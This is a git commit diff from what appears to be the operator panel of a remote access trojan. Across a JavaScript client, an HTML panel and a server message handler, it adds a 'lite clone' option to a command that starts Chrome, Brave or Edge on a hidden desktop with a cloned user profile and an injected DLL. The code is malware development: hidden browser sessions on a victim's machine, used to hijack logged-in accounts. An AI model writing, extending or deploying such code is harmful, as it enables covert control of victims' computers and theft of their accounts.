add lite mode injections

This commit is contained in:
KingKDot
2026-03-12 01:06:57 -05:00
parent e8b6f9526d
commit 3c7f78d7d0
5 changed files with 48 additions and 9 deletions
+6 -3
View File
@@ -747,13 +747,16 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
} else if (action === "start-chrome") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite });
} else if (action === "start-brave") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite });
} else if (action === "start-edge") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite });
} else if (action === "start-custom") {
const exePath = prompt("Enter exe path (required)");
if (!exePath) {
+4
View File
@@ -156,6 +156,10 @@
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Clone profile</span>
</label>
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
</label>
<button
type="button"
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
@@ -646,6 +646,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
browser: String(payload.browser || ""),
path: String(payload.path || ""),
clone: payload.clone !== false,
cloneLite: payload.cloneLite === true,
dll: dllData,
});
break;